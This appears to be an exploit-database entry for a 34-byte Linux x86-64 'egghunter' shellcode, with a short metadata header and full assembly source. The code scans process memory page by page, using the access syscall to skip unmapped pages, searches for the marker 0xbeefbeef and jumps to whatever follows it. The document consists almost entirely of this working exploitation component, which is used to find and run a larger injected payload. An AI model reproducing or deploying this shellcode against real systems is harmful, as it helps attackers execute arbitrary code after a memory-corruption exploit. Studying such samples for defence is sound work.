Linux/x64 - Egghunter (0xbeefbeef) Shellcode (34 bytes)

Author: 0x4ndr3
type: 
platform: linux_x86-64
length: 34
date_added: 2018-02-02
date_updated: 2018-02-02
verified: 0
codes: 
tags: 
aliases: 
screenshot_url: 
application_url: 

global _start
section .text
_start:
        xor rsi,rsi

        push rsi ; starts the search at position 0
        pop rdi

next_page:
        or di,0xfff
        inc rdi

next_4_bytes:
        push 21
        pop rax
        syscall
        cmp al,0xf2
        jz next_page
        mov eax,0xefbeefbd
        inc al
        scasd
        jnz next_4_bytes
        jmp rdi
↑